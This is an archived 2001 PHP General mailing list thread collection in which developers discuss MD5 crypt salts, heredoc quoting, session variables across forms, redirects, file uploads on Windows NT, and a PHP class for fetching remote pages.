   note the comments at the bottom of
   http://php.net/manual/en/function.crypt.php about double-quoting $1$ and
   how it may be interpreted and how to escape the $ characters.  also, i'm
   not sure if you need a $ character at the end of the salt string like in
   some of the examples on those comments or not.  unfortunately, i don't
   have a system with php running right now to test.
  
   you may also want to investigate http://php.net/manual/en/ref.mhash.php
   depending on what kind of functionality you need.  my guess is that
   crypt() would be suitable for you if it worked properly.
  
   -tcl.
  
  
   On Tue, 17 Jul 2001, Jeremy Hansen wrote:
  
   
I'd like to use php to do what I'm able to do in perl.
   
use String::Random;
use Crypt::PasswdMD5;
   
$foo = new String::Random;
   
$rand = $foo-randpattern(ss);
   
print Type in your password: ;
   
$password = STDIN;
   
$hash = unix_md5_crypt($password,$rand);
   
$salt = substr($hash,3,2);
   
print SUBSTR: $salt\n;
print HASH: $hash\n;
print SALT: $rand\n;
   
print Type in your password: ;
$password_verify = STDIN;
   
$hash_verify = unix_md5_crypt($password_verify,$salt);
   
if ($hash eq $hash_verify) {
print Good to go!\n;
print HASH BEFORE: $hash\n;
print HASH AFTER: $hash_verify\n;
} else {
print You fuckered it up!\n;
print HASH BEFORE: $hash\n;
print HASH AFTER: $hash_verify\n;
}
   
srv1:~$ ./crypt.pl
Type in your password: password
SUBSTR: Kd
HASH: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
SALT: Kd
Type in your password: password
Good to go!
HASH BEFORE: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
HASH AFTER: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
   
I've looked at crypt() in php and it claims that if you pass it a salt
that resembles $1$ format, it should generate an md5 type hash, but this
doesn't seem to be the case for me.  The crypt only looks at the first two
characters of the salt, no matter what, so my salt never changes because
it just seems $1.
   
Thanks for explaining what I'm doing wrong.
   
-jeremy
   
--
salad.
   
   
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]
   
   
  
  
 
  --
  salad.
 
 
  --
  PHP General Mailing List (http://www.php.net/)
  To unsubscribe, e-mail: [EMAIL PROTECTED]
  For additional commands, e-mail: [EMAIL PROTECTED]
  To contact the list administrators, e-mail: [EMAIL PROTECTED]
 
 



-- 
salad.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] Re: a simple question

2001-07-17 Thread Philip Hallstrom

you can't.  at least the last time I wanted to you couldn't.  I think
Rasmus said it would require a lot of work in the parser...

If I'm wrong, I'll be very happy.

On Wed, 18 Jul 2001, Hamed wrote:

 Hi,

 Can anyone tell me please what is the equivelant of this statement from
 perl, in PHP?

 $variable = qq~a value with any quotes which doesnt need \'\'s~;

 i use it to get away with all the s\lashes behind quotes. can anyone tell me
 how to do that in php?

 Regards
 Hamed




 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] note to PHP developers

2001-07-17 Thread Michael Hall


Me too. I've never had a problem with Postfix. It just dropped in in Sendmail's
place and has worked wonderfully ever since. Great piece of software.

Mick

On Wed, 18 Jul 2001, Christopher Allen wrote:
 Also, postfix works fine for me...
 
 
  On a side note, qmail has a wrapper that pretends to be sendmail. You can
  overwrite the /bin/mail with it and it will behave and accept mail just
 like
  sendmail, but send it through qmail-smtp.
 
   - changed php.ini path - qmail path
 
 
 
 -- 
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] passing variables from forms to the same page repetatively

2001-07-17 Thread Michael Hall

What about registering some session variables? Sessions use cookies and/or URLs
to propagate info across multiple pages. Not really secure, though, but they
are easy to use.

Mick


On Wed, 18 Jul 2001, Tim Olsen wrote:
 Yeah, I had thought about using hidden inputs, but hidden inputs are not 
 really hidden. They still exist on the HTML page, and although not visible 
 in the browser, are visible in the code. This may not be cool if you have 
 sensitive information that is passed, also if you have a lot of variables to 
 pass, thats just a lot of hidden inputs to pass.
 Is there no other way to accomplish this? No built in function? I guess it 
 makes sense that there is not, b/c the form submits the form and only the 
 form variables. Thanks.
 -Tim
 
 
 Original Message Follows
 From: David Robley [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: Tim Olsen [EMAIL PROTECTED], [EMAIL PROTECTED]
 Subject: Re: [PHP] passing variables from forms to the same page 
 repetatively
 Date: Tue, 17 Jul 2001 16:13:41 +0930
 
 On Tue, 17 Jul 2001 15:41, Tim Olsen wrote:
   People,
   I have 4 forms in four seperate html pages included directly (no links
   to includes) in the same .php file, i have it so all the form actions
   is php.self, so when each form is submitted it goes on to display the
   next form in line, using if and else statements, of course. I want to
   be able to use variables created by the first form in the html part of
   the last form. What is the best way to do this?
  
   So far, I can only use variables on the next page (form) that is
   written out. After that those variables have no value.  Is there some
   way to submit all variables present and assigned with the submission of
   each form?  If I make the forms a seperate include file, instead of
   having them in-line, how does this change the ways variables are passed
   or submitted by each form? Thanks, - Tim
   _
 
 
 If I understand what you are saying: those variables don't exist until
 you SUBMIT the form. You can demonstrate this by looping through and
 displaying your POST or GET vars at the beginning of the form and see
 what happens when you first open the page, and when it calls itself.
 
 And re-reading, I think what you may want is hidden fields. You want part
 one to call part 2, and retain values from part 1, etc? Echo the values
 into hidden fields in each step of the process.
 
 INPUT TYPE=hidden NAME=whatever VALUE=?php echo $whatever ?
 
 --
 David Robley  Techno-JoaT, Web Maintainer, Mail List Admin, etc
 CENTRE FOR INJURY STUDIES  Flinders University, SOUTH AUSTRALIA
 
 I always lie. In fact, I'm lying to you right now!
 
 _
 Get your FREE download of MSN Explorer at http://explorer.msn.com
 
 
 -- 
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]
-- 
Michael Hall
mulga.com.au
[EMAIL PROTECTED]
ph/fax (+61 8) 8953 1442
ABN 94 885 174 814

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




RE: [PHP] note to PHP developers

2001-07-17 Thread Jason Murray

 Me too. I've never had a problem with Postfix. It just 
 dropped in in Sendmail's place and has worked wonderfully 
 ever since. Great piece of software.

I was led to believe Postfix is what Qmail evolved into?

Jason
(running Postfix from day 1, no problems at all with it...)

-- 
Jason Murray
[EMAIL PROTECTED]
Web Developer, Melbourne IT
Work now, freak later!

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] a simple question

2001-07-17 Thread Rasmus Lerdorf

$variable = BLAH
''
BLAH;

On Wed, 18 Jul 2001, Hamed wrote:

 Hi,

 Can anyone tell me please what is the equivelant of this statement from
 perl, in PHP?

 $variable = qq~a value with any quotes which doesnt need \'\'s~;

 i use it to get away with all the s\lashes behind quotes. can anyone tell me
 how to do that in php?

 Regards
 Hamed







-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] method=post destroys PHPSESSID??

2001-07-17 Thread Dan Harrington

Hello all,

I'm having a heck of a time with a file uploader
page.  When I set method=post on the file uploader
form, the PHP session is somehow corrupted
during the upload, and any links made in the
in the resulting page (photoupload.php) don't
pass along the session even though they
have the exact same PHPSESSID value.

==
//upload request page
FORM name=uploader method=POST ACTION=photoupload.php onSubmit=return 
checkform();
ENCTYPE=multipart/form-data
input type=hidden name=PHPSESSID value=? echo $PHPSESSID; ?
.
.
.
[snip]
/form

==

The session and variables seem fine _IN_ photoupload.php,
but when I try to link to another page from the
photoupload.php page, it is broken.

But when I right-click on the links, copy the link
shortcut complete with PHPSESSID,
e.g.
(http://foo.bar.com/asdfsad.php?PHPSESSID=!@#$!@#$!@#$!@#$!@#$@!#$)

and then I take and paste that into the location: field in
a newly opened web browser, the session works and I
can continue to use it.
But when I try to click on the link inside of the photoupload.php,
the session dies and doesn't show any of the PHP session variables
even though I've checked and they exist and have values in the
session files on the hard drive on the server.

One more weird anomaly, is that when I change the method=post
to method=get in the html upload request page, I don't have
these problems with the session.  (I just have problems with the
file upload because it requires method=post).

Anyone have an idea to whats going on here?

Thanks

Dan


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] passing variables from forms to the same page repetatively

2001-07-17 Thread Dave Freeman

On 17 Jul 01, at 0:11, Tim Olsen wrote:

 So far, I can only use variables on the next page (form) that is written
 out. After that those variables have no value.  Is there some way to submit 

Investigate using input type=hidden form tages - very useful for 
passing around additional args between pages/forms.

CYA, Dave


---
Outback Queensland Internet - Longreach, Outback Queensland - Australia
http://www.outbackqld.net.au  mailto:[EMAIL PROTECTED]
---

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] question

2001-07-17 Thread Rhony V.

In Asp i have this
 response.redirect name_page.asp, it's used to go to another page

what is the similar function in PhP?

Regards



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] Problem

2001-07-17 Thread Rhony V.

In Asp i have this
response.redirect name_page.asp, it's used to go to another page

what is the similar function in PhP?

Regards



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] md5 crypt question

2001-07-17 Thread tc lewis


On Tue, 17 Jul 2001, Jeremy Hansen wrote:
 On Tue, 17 Jul 2001, tc lewis wrote:
  try:
  php echo(CRYPT_SALT_LENGTH); ?
  php echo(CRYPT_MD5); ?
 
  or:
  php echo constant(CRYPT_SALT_LENGTH); ?
  php echo constant(CRYPT_MD5); ?
 
  you should get output of 12 and 1 (not 2 and 0) if md5 is supported in
  crypt(), i think.

 Yeah, I'm getting 2 and 0.  Lame.  What's the answer to this.

i'm not sure.  i don't see any related configure flags or php.ini
settings.  it seems to work with standard redhat 7.1 linux (i'm assuming
you're using some redhat-ish system, as i know you):

[tcl@jobo tcl]$ cat nog.php
#!/usr/bin/php
?php echo(constant('CRYPT_SALT_LENGTH')); ?
?php echo(\n); ?
?php echo(constant('CRYPT_MD5')); ?
?php echo(\n); ?
?php echo(crypt('teststr', 'testsalt')); ?
?php echo(\n); ?
?php echo(crypt('teststr', '$1$testsalt$')); ?
?php echo(\n); ?
[tcl@jobo tcl]$ ./nog.php
X-Powered-By: PHP/4.0.4pl1
Content-type: text/html

2
1
te4c1aD5wKOnM
$1$testsalt$W00xFyq3oO6fDqto9qMY00
[tcl@jobo tcl]$

any suggestions from the rest of the list?

you could try using the mhash library stuff instead.  blah.

-tcl.



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] question

2001-07-17 Thread Alex Piaz

At 20:19 17/7/2001 -0500, Rhony V. wrote:
In Asp i have this
  response.redirect name_page.asp, it's used to go to another page

what is the similar function in PhP?

A good look at the manual would satisfy your needs

http://www.php.net/manual/en

header(location:wheredoyouwanttogo.php);

That's it

Regards


Alex Piaz
Webmaster
Global Map Internet Marketing
http://www.globalmap.com
Be cool or be cast out



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] md5 crypt question

2001-07-17 Thread Jeremy Hansen

On Tue, 17 Jul 2001, tc lewis wrote:


 On Tue, 17 Jul 2001, Jeremy Hansen wrote:
  On Tue, 17 Jul 2001, tc lewis wrote:
   try:
   php echo(CRYPT_SALT_LENGTH); ?
   php echo(CRYPT_MD5); ?
  
   or:
   php echo constant(CRYPT_SALT_LENGTH); ?
   php echo constant(CRYPT_MD5); ?
  
   you should get output of 12 and 1 (not 2 and 0) if md5 is supported in
   crypt(), i think.
 
  Yeah, I'm getting 2 and 0.  Lame.  What's the answer to this.

 i'm not sure.  i don't see any related configure flags or php.ini
 settings.  it seems to work with standard redhat 7.1 linux (i'm assuming
 you're using some redhat-ish system, as i know you):

This is confusing.  I'm actually using rh6.2 on this particular install.
Older glibc have something to do with crypt() implimentations?

thanks
-jeremy

 [tcl@jobo tcl]$ cat nog.php
 #!/usr/bin/php
 ?php echo(constant('CRYPT_SALT_LENGTH')); ?
 ?php echo(\n); ?
 ?php echo(constant('CRYPT_MD5')); ?
 ?php echo(\n); ?
 ?php echo(crypt('teststr', 'testsalt')); ?
 ?php echo(\n); ?
 ?php echo(crypt('teststr', '$1$testsalt$')); ?
 ?php echo(\n); ?
 [tcl@jobo tcl]$ ./nog.php
 X-Powered-By: PHP/4.0.4pl1
 Content-type: text/html

 2
 1
 te4c1aD5wKOnM
 $1$testsalt$W00xFyq3oO6fDqto9qMY00
 [tcl@jobo tcl]$

 any suggestions from the rest of the list?

 you could try using the mhash library stuff instead.  blah.

 -tcl.




-- 
salad.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




RE: [PHP] question

2001-07-17 Thread Jochen Kaechelin

 In Asp i have this
  response.redirect name_page.asp, it's used to go to another page
 
 what is the similar function in PhP?

header(Location: http://www.your.domain/foo.php;);

-- 
phpArbeitsgruppe in Gruendung - Jochen Kaechelin
Stuttgarter Str.3, D-73033 Goeppingen
Tel. 07161-92 95 94, Fax 07161-92 95 98
http://www.php-arbeitsgruppe.de, mailto:[EMAIL PROTECTED]


Re: [PHP] mysql_query problem (FINALLY FIXED !!!!!!!)

2001-07-17 Thread Brad Wright

Hi all (he says with a sheepish grin:),

To all of those who tried to help with this thread, I thank you from the
bottom of my heart

Unfortunatly , the problem was not one of syntax, but rather one of gross
stupidity on my behalf. The Field where I had been keeping the (encrypted)
passwords was set to 6 spaces, thus chopping off at least 1/2 of the
encrypted password. So when it was looking for password('a') (which is
 60671c896665c3fa  BTW), it was only seeing 60671c in the field.therefor
NO MATCH.
 What a stupid mistake, delaying me for 1 1/2 days. At least I know I'm not
as crazey as I thought i was going.
I guess the lesson here is to step back once in a while and try looking
'around the edges' of a wall. Its amazing what you may find :).


Once again, thanks to all those kind souls who gave up there own time to try
to help this ol' fool.

Cheers,
Brad


 From: Christopher Allen [EMAIL PROTECTED]
 Date: Tue, 17 Jul 2001 09:11:05 -0500
 To: Brad Wright [EMAIL PROTECTED]
 Subject: Re: [PHP] mysql_query problem (more suggestions)
 
 not right because this works in a live system:
 
 
 
 $query1 = SELECT *  FROM zip_base WHERE '$zip1' = zip  '$zip1' =
 CONCAT(SUBSTRING(zip, '1', LENGTH(zip)-LENGTH(range)), range)
 
 CONCAT, SUBSTRING and LENGTH are all mysql functions and they work fine in
 this query.
 
 
 
 the problem is (as i understand it), the password function is a mySQL
 function and not a PHP function, therefor it works in the context of a
 mysql_query, but not as a PHP function (which your suggested code calls).
 Unless i have actually defined a function 'password()',  calling 'echo
 password('$password') will (...does, i just double checked) causes a Fatal
 Error 'Undefined Function'.
 Nice try tho :)
 
 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] Re: Known bugs with HTTP upload on Windows NT?

2001-07-17 Thread Adam_Whitehead


Hi Elias-

Yes I have write access on all directories. It doesn't seem to matter which
directory it copies to either.. because it crashes before the
is_uploaded_file()
and moveuploadedfile() calls.

-Adam



   
 
elias
 
elias_bachaalany@To: [EMAIL PROTECTED]
 
yahoo.comcc:  
 
  Subject: [PHP] Re: Known bugs with 
HTTP upload on Windows NT? 
07/17/2001 09:13   
 
PM 
 
   
 
   
 




Hmm...
do you have write access on that directory?
IUSR_xxx and IWAM_ users must be appropriate writes on that folder...

Adam Whitehead [EMAIL PROTECTED] wrote in message
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
 Hi All-

 I'm having trouble with a simple script that allows HTTP upload. It's a
 direct copy
 of the code available on the PHP web site.

 The script works fine on a UNIX machine running PHP 4.0.6 and a Windows
98
 machine running 4.0.6.

 However when I test it on a Windows NT machine running PHP 4.0.6, as soon
 as
 the submit button is clicked it causes a page fault in php.exe.

 Is this a known issue? In php.ini, the temporary upload path is set to a
 correct
 location and no amount of tweaking this path makes any difference.

 The script looks like this:

 ?php
 if (is_uploaded_file($userfile)) {
   move_uploaded_file($userfile,H:\\www\\uploadtest.txt);
   echo Done.;
 }
 ?

 FORM ENCTYPE=multipart/form-data ACTION=uploadtest.php METHOD
=post
   INPUT TYPE=hidden name=MAX_FILE_SIZE value=50
 Send this file: INPUT NAME=userfile TYPE=file
 INPUT TYPE=submit VALUE=Send File
 /FORM

 Regards,
 Adam Whitehead




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]






-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] email counter

2001-07-17 Thread Jack

 Try to use javascript:

 script language=JavaScript
 x = window.open(mailto:?php echo $mailaddress ?, Site);
 /script

 It's easy to combine it with PHP to count the send mails.


In order to do the mail counter using javascript above, how would that work?
What is Site for? and Does this script execute when people click on the
link to send mail or something?
Jack
[EMAIL PROTECTED]
Love your enemies, it will drive them nuts
- Original Message -
From: Jorg Krause [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Tuesday, July 17, 2001 2:53 AM
Subject: RE: [PHP] email counter


 Hi,

  Brian White [mailto:[EMAIL PROTECTED]] wrote on Tuesday, July 17,
2001
 5:52 AM
  To: Jack; [EMAIL PROTECTED]
  Subject: Re: [PHP] email counter
 
 
  How about changing link to
 
  a href=mymailer.php?[EMAIL PROTECTED] Big George /a
 
  Where mymailer.php is something like
 
  ?php
  /*
  Do whatever it is you need to do with $email
*/
 
  header(Location: mailto:$email; );
 
  ?
 

 Works, but changes the previous open window into a empty sheet
 and displays mailto:[EMAIL PROTECTED];, so the old page
 disappears (the user has to click the back button). I think this
 solution is not really good for common usage.

 Try to use javascript:

 script language=JavaScript
 x = window.open(mailto:?php echo $mailaddress ?, Site);
 /script

 It's easy to combine it with PHP to count the send mails.

 Joerg
 www.php.comzept.de


 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] Re: Problem

2001-07-17 Thread tttk

header(location:name_page.asp);

Rhony V. [EMAIL PROTECTED] wrote in message
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
 In Asp i have this
 response.redirect name_page.asp, it's used to go to another page

 what is the similar function in PhP?

 Regards





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] gd lib question.

2001-07-17 Thread Dave Mariner

Hi,
Just a quick question for anyone that uses GD-Lib prior to the latest 
true-colo(u)r version (specifically v. 1.6.1) - if I try to load a jpeg that has more 
than 256 colours in it, will it succeed? I know the obvious answer is to try it and 
see...but I don't have it here on my machine, and I don't want to retrofit it just to 
test this one thing out!

Thanks in advance,

Dave Mariner.





RE: [PHP] note to PHP developers

2001-07-17 Thread Michael Hall

No, they're two seperate things. In addition to being incredibly easy to
install and configure, Postfix can be made fairly secure and it has a better
(=more 'open') license of some kind. 

Mick

On Wed, 18 Jul 2001, Jason Murray wrote:
  Me too. I've never had a problem with Postfix. It just 
  dropped in in Sendmail's place and has worked wonderfully 
  ever since. Great piece of software.
 
 I was led to believe Postfix is what Qmail evolved into?
 
 Jason
 (running Postfix from day 1, no problems at all with it...)
 
 -- 
 Jason Murray
 [EMAIL PROTECTED]
 Web Developer, Melbourne IT
 Work now, freak later!
 
 -- 
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]
-- 
Michael Hall
mulga.com.au
[EMAIL PROTECTED]
ph/fax (+61 8) 8953 1442
ABN 94 885 174 814

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] gd lib question.

2001-07-17 Thread Rasmus Lerdorf

 Just a quick question for anyone that uses GD-Lib prior to the
 latest true-colo(u)r version (specifically v. 1.6.1) - if I try to
 load a jpeg that has more than 256 colours in it, will it succeed? I
 know the obvious answer is to try it and see...but I don't have it
 here on my machine, and I don't want to retrofit it just to test this
 one thing out!

Yes, it will work but it will dither it down to 256 colours.

-Rasmus


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] how to include a remote file and change relative links to non-relative

2001-07-17 Thread Brett

I am trying to create a page that will get a remote file and email it to me.  All 
works fine using several different methods (include,file,fread) only relative links 
for images and links get my server address instead of the actual address the images 
should be retrieved from.

Is there a way I can get the remote file and make all relative links for images and 
such point where they should?

Thanks,
bubba



[PHP] MySQL Query.....

2001-07-17 Thread Deependra B. Tandukar

Greetings !

I have following tables in MySQL:

TableItem
idlist
1 Banana
2 Orange
3 Mango

Other tables are:
Banana, Orange, Mango

Instead of selecting Table Banana directly I need to select it as select
$TableItem.list where id=1 or something like that for editing or deleting
items in Table Banana . I tried to do like this but doesn't work. Does it
work somehow?

Looking forward to hearing from you.

Warm Regards,
DT



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] MySQL Query.....

2001-07-17 Thread py_sympatico

Try,
select '$TableItem'.list where id = 1;

py

- Original Message -
From: Deependra B. Tandukar [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, July 18, 2001 12:14 AM
Subject: [PHP] MySQL Query.


 Greetings !

 I have following tables in MySQL:

 TableItem
 idlist
 1 Banana
 2 Orange
 3 Mango

 Other tables are:
 Banana, Orange, Mango

 Instead of selecting Table Banana directly I need to select it as select
 $TableItem.list where id=1 or something like that for editing or deleting
 items in Table Banana . I tried to do like this but doesn't work. Does it
 work somehow?

 Looking forward to hearing from you.

 Warm Regards,
 DT



 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]
 To contact the list administrators, e-mail: [EMAIL PROTECTED]



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] To overwrite or unregister session variables

2001-07-17 Thread Joseph Blythe

Hey,

Was just wondering if it was better practice to unregister session variables
before writing new values to them or if it was fine to just overwrite their
values?

Regards,

Joseph


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] PHP and XHTML

2001-07-17 Thread Rose, Daniel

Hi,
I have looked through the history of the list, and I see that several people
have said that PHP fully supports XHTML. I have some problems using XHTML
with PHP, namely parse errors, such as a parse error on the first line of
every XHTML doc.
?xml version=1.0 encoding=UTF-8?

Version of PHP is 4.0.6, and it was compiled like so:
'./configure' '--with-apxs=/usr/local/apache/bin/apxs' '--with-xml'
'--with-gd=/usr' '--with-jpeg-dir=/usr/local' '--with-png-dir=/usr/local'
'--with-zlib' '--with-mysql' '--enable-track-vars' '--with-mcrypt'
(all from phpinfo())

Does anyone have any ideas?
Please CC replies as I am not subscribed to the list
Sincerely,

Daniel Rose


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




[PHP] Regular expressions

2001-07-17 Thread Philip Murray

In Perl you can do this:

$foo =~ tr/012/mpf/;

Which is the same as:

$foo = str_replace(0, m, $foo);
$foo = str_replace(1, p, $foo);
$foo = str_replace(2, f, $foo);

in PHP.

Is there a more elegant way of doing this in PHP? I tried preg_replace but
it didn't seem to like my regexp.

Any ideas?

 -  -- -  -   -
Philip Murray
[EMAIL PROTECTED]
- -  -- -   -


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




RE: [PHP] Regular expressions

2001-07-17 Thread Jack Dempsey

Checkout www.php.net/strtr

-Original Message-
From: Philip Murray [mailto:[EMAIL PROTECTED]] 
Sent: Wednesday, July 18, 2001 1:31 AM
To: PHP General List
Subject: [PHP] Regular expressions

In Perl you can do this:

$foo =~ tr/012/mpf/;

Which is the same as:

$foo = str_replace(0, m, $foo);
$foo = str_replace(1, p, $foo);
$foo = str_replace(2, f, $foo);

in PHP.

Is there a more elegant way of doing this in PHP? I tried preg_replace
but
it didn't seem to like my regexp.

Any ideas?

 -  -- -  -   -
Philip Murray
[EMAIL PROTECTED]
- -  -- -   -


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]




Re: [PHP] how to include a remote file and change relative links to non-relative

2001-07-17 Thread Aral Balkan

I've been working on Hans Anderson's Browser class and I've adapted it to do
what you're looking for. It's not complete but there should be a lot here
for you to go on. Again, I haven't had time to fine tune things at all so
it's a very rough hack right now. Hope it helps.

The dirty on how to use it:

?php

  require_once ('class_browser.php');

  // new browser
  $browser = new Browser();

  $file_array = $browser-get_url(array(
  url=$file,
  req_mthd='GET',
  protocol='HTTP/1.1',
  robot_rules=FALSE
 )
);

  if ($file_array[errcode] == 1) {
   $file_text = $file_array[content];

  // convert relative links to absolute
  $file_text = $browser-translate($file_text, $file);

?

class_browser.php:

class Browser {

 /*
Class Browser by Hans Anderson.
This code is released under the GPL license.
Modifications by Aral Balkan

  06.22.01 - Added two new methods:

 (1) $string = translate_links($string, $url);

  Translates all relative links in argument $string to
  absolute links using the full URL to the page being
  accessed in the $url argument. Returns the translated
  string.

 (2) $string = translate_images($string, $url);

  Translates all relative image links in argument $string to
  absolute links using the full URL to the page being
  accessed in the $url argument. Returns the translated
  string.

 Aral Balkan ([EMAIL PROTECTED])
 */

 function get_url($array) {

  /* defaults (there is no default for 'url' or 'content') */
  $robot_rules = TRUE; /* follow the robots.txt standard */
  $req_mthd = 'GET';
  $protocol = 'HTTP/1.0';
  $user_agent = 'PHP3 Browser';
  $time_out = 10;

  /* for each argument set in the array, overwrite default */
  while(list($k,$v) = each($array)) {
   $$k=$v;
  }

  /* set up the cookies.  If it exists, the straight variable
 will be written above ($$k=$v). */

  if(is_array($cookies)) {
   $cookies2send = '';
   while(list($k,$v) = each($cookies) ) {
$cookies2send .= Cookie: $k= . urlencode($v) . \n;
   }
